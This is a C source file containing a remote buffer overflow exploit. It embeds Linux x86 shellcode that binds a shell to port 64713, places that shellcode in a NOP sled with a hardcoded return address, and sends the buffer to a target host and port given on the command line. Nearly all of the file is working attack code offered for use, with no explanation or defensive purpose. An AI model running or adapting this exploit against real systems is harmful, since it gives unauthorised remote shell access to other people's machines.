#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
char shellcode[] =
/* socket(AF_INET, SOCK_STREAM, 0) */
"\x6a\x66" // push $0x66
"\x58" // pop %eax
"\x6a\x01" // push $0x1
"\x5b" // pop %ebx
"\x99" // cltd
"\x52" // push %edx
"\x53" // push %ebx
"\x6a\x02" // push $0x2
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
/* bind(s, server, sizeof(server)) */
"\x52" // push %edx
"\x66\x68\xfc\xc9" // pushw $0xc9fc // PORT = 64713
"\x66\x6a\x02" // pushw $0x2
"\x89\xe1" // mov $esp,%ecx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\x89\xc6" // mov %eax,%esi
"\x43" // inc %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
/* listen(s, anything) */
"\xb0\x66" // mov $0x66,%al
"\xd1\xe3" // shl %ebx
"\xcd\x80" // int $0x80
/* accept(s, 0, 0) */
"\x52" // push %edx
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\x43" // inc %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchg %eax,%ebx
/* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */
"\x6a\x02" // push $0x2
"\x59" // pop %ecx
"\xb0\x3f" // mov $0x3f,%al
"\xcd\x80" // int $0x80
"\x49" // dec %ecx
"\x79\xf9" // jns dup_loop
/* execve("/bin/sh", ["/bin/sh"], NULL) */
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80
//standard offset (probably must be modified)
#define RET 0xbffff620
int main(int argc, char *argv[]) {
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;
struct hostent *host;
if(argc != 3) {
printf("Usage: %s target-ip port\n", argv[0]);
return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
* ((int *) &buffer[i]) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL) {
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) {
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) {
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1) {
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}